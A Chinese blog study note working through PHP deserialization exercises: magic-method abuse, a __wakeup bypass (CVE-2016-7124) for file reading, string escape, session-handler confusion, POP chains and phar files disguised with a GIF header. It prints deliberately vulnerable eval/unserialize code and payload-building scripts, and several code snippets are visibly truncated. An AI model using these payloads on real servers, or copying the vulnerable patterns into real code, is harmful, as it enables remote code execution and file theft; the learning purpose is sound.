PHP反序列化题目记录

文章目录

  • 前言
  • 1.反序列化例子
  • 2.反序列化绕过__wakeup()任意文件读取的方法
  • 3.字符逃逸的特性
  • 4.session序列化特性
  • 5.POP链构造
    • 问题点在其他类的普通方法中
    • 问题点在其他类的 __construct() 方法中
  • 6.phar反序列化

前言

最近跑去看了下PHP反序列化,发现比起java容易理解多了,主要是一些魔法函数相关反序列化、字符逃逸的反序列化、session反序列化、POP链反序列化和PHAR反序列化,以下将记录学习过程中的一些例题学习的过程。
以下代码均来自网络,仅记录个人的学习过程。

1.反序列化例子

//test1.php
value);
    }
}

unserialize($_GET['test']);
?>

第一步,先找传参处是get方法的test参数;
第二步,找反序列函数unserialize(变量);看其中变量是否可控;
第三步,查找敏感函数,发现eval函数,想办法控制其中的参数变量,让其执行我们想要执行的命令。
看到这里可以发现,无论是PHP的反序列化还是Java的反序列化,抛开语法特性不谈,在流程上是一个意思,第一步是反序列化的入口,可以对应到如java的fastjson就是一个可以rce的反序列化入口;第二第三步其实是一种反序列化的方法,可以对应到java的反序列化利用链,只不过Java的反序列化链利用的是一些内置包中的类,如Apache Commons Collections中的InvokerTransformer类等构造处一条能够命令执行的链子;所以,在java当中链子常是通用的,可以通过链子生成fastjson格式的payload,其实就和base64加密sql语句注入一个道理,其实很多本质上都是通过jndi去注入。
第四步,通过目标代码反序列化的流程,构造一个序列化的恶意类传入,达到rce的目的。

// test1exp.php
value = 'phpinfo();';
$s = serialize($p);
echo $s;
?>

// 执行结果
// O:4:"Test":1:{s:5:"value";s:10:"phpinfo();";}

打开:http://localhost/UnseriStudy/test1.php?test=O:4:"Test":1:{s:5:"value";s:10:"phpinfo();";}

// 执行结果
// 执行了命令 phpinfo();

这是因为test1.php 中的 Test类 有个 公有类型的变量 $value
而在  test1exp.php 文件中把这个 $value 值修改并且序列化了
接着 Test类 有个 __destruct()方法  类在销毁的之前调用了该方法,该方法里面的内容可控,最终执行了命令

PHP反序列化题目记录_第1张图片

2.反序列化绕过__wakeup()任意文件读取的方法

//index_test2.php
This is first page.

//test2.php
file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index_test2.php';
  } 
  public function __toString()
    return '' ;
  }
}  

if (!isset($_GET['file'])){ 
  show_source('index_test2.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}

这里很明确是要传入一个base64编码的序列化对象,以控制__destruct方法中show_source(dirname (FILE).‘/’.$this ->file);读取file文件内容,但是在unserialize之前会执行__wakeup。

CVE-2016-7124漏洞(PHP5 < 5.6.25,PHP7 < 7.0.10),当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

file = 'info.php';
$S = serialize($p);
echo $S;

 ?>

// 生成的初始内容
O:5:"SoFun":1:{s:4:"file";s:8:"info.php";}
// 修改的地方有三处,修改后base64编码后传入即可读取info.php的文件内容
O:5:"SoFun":2:{S:4:"\00*\00file";s:8:"info.php";}
把属性个数修改为2
把s修改为大写,标记为属性,s:8:"info.php"是其属性值
因为file是protect属性,所以需要加上\00*\00

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJpbmZvLnBocCI7fQ==

在这里插入图片描述

3.字符逃逸的特性

类中不存在的属性也会被反序列化;
反序列化是以;作为字段分割,}作为结束,PHP在判断序列化字符的长度时候还是根据原来的字符串长度总和来判断,如果str_replace替换了更多字符会导致序列化的逃逸。

// test3.php

tr1plexxxxxxxxxxxxxxxxxxxx被替换成了tr1plezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
一个x替换成两个z,20个x替换成40个z,加上tr1ple,刚好是46个,造成字符溢出,所以password处解析了123456而不是aaaaaa
PHP反序列化题目记录_第2张图片
与之相反的例子

// test4.php


PHP反序列化题目记录_第3张图片将七个z替换为三个字符,这样我们最后得到的结果是15个字符加上五个z,而原来有40个字符,现在却只有20个字符,而正好";i:1;s:6:“123456”;}是20个字符,因此PHP在判断序列化字符的长度时候还是根据原来的字符串长度总和来判断,所以会将";i:1;s:6:“123456”;}给吞并掉。导致解析了后面的内容

4.session序列化特性

php大于5.5.4的版本中默认使用php_serialize规则,默认为php_serialize而假设index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
tips:POST方法Session Upload Progress可以构造数据传入$_SESSION
成因是不同的引擎会对’|',产生歧义
先以php_serialize的格式存储,从客户端接收参数并存入session变量

// test5_1.php存在session内容能够被控制的地方,控制写入内容的引擎为php_serialize


接下来使用php引擎读取session文件

// test5_2.php
'.$this->name;
  }
}
$str = new XianZhi();     
?>

首先访问 test5_1.php,在传入的参数最开始加一个’|‘,由于是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问 test5_2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。

// test5exp.php
name = "xianzhi";
echo serialize($str);
?>

test5exp.php构造的序列化payload先通过 test5_1.php存在session中,再通过 test5_2.php读取出来导致反序列化,会发现 test5_2.php页面会多了个”xianzhi”这说明我们传入的值被反序列化了。

5.POP链构造

当魔术方法中无敏感操作,但是其对象调用了其他类中的同名函数中可执行敏感操作,就需要制造一条与敏感类中的敏感函数和属性相关联达到类中所有的敏感属性都可控,在利用敏感属性可控的特点执行特定漏洞的效果

问题点在其他类的普通方法中

// test6.php
ClassObj = new A();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class A
{
    function action() {
        echo "我很安全";
    }
}
class B
{
    private $data;
    function action() {
        eval($this->data);
    }
}
unserialize($_GET['test']);
?>

首先看 test6.php 里面的 B类 里面有个 action() 方法,这个方法是有安全问题的,但是这个方法,我们无法直接执行,所以就需要跳板

所以我们在 test6exp.php 中把B类的 private $data 修改为 private $data = ‘phpinfo();’;
接着在把 test6exp.php 中, Test类的 __construct() 方法修改为,实例化B类
然后执行输出序列化内容

// test6exp.php
ClassObj = new B();
    }
}
class B
{
    private $data = 'phpinfo();';
}
echo urlencode(serialize(new Test()));
?>

最终实现漏洞利用
PHP反序列化题目记录_第4张图片

问题点在其他类的 __construct() 方法中

// test7.php
class_name($this->test);
    }
}
class A{
    function __construct($value){
        echo $value . '很安全';
    }
}
class B{
    function __construct($value){
        eval($value);
    }
}
unserialize($_GET['test']);
?>

如果在反序列化的时候,创建了新对象,那么新对象就会自动调用 __construct() 方法

class_name($this->test);
    }
}

class B{
}

echo urlencode(serialize(new Test()));
?>

PHP反序列化题目记录_第5张图片
可能这样看并不是很明显,那么改造一下test7.php

class_name($this->test);
    }
}
class A{
    function __construct($value){
        echo $value . '很安全';
    }
}
class B{
    function __construct($value){
        eval("phpinfo();");
    }
}
unserialize($_GET['test']);
?>

payload

test = new B('phpinfo();');
    }
}

class B{
}

echo urlencode(serialize(new Test()));
?>

PHP反序列化题目记录_第6张图片

6.phar反序列化

当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多
利用条件

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为“跳板”来构造
  3. 受影响函数列表-参数可控,且 : / phar 等特殊字符没有被过滤
// test8.php
data);
        }
    }
    include('phar://phar-test.gif');
?>
// test8exp.php
startBuffering();
    $phar->setStub('GIF89a'.'');   //设置stub,增加gif文件头
    $phar->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object->data = 'phpinfo();';
    $phar->setMetadata($object);  //将自定义meta-data存入manifest
    $phar->stopBuffering();
?>
// 执行完毕以后,会在文件根目录生成一个 phar-test.phar 文件
// 然后我们在把 phar-test.phar 文件 重命名为 phar-test.gif 
// 文件扩展名为 gif 
// 文件头为 GIF89a
// 那么就可以绕过大部分程序检测了

注意:要将 php.ini 中的 phar.readonly 选项设置为Off,然后重启PHPstudy,否则无法生成phar文件
PHP反序列化题目记录_第7张图片
PHP反序列化题目记录_第8张图片

你可能感兴趣的:(笔记,php,java,开发语言)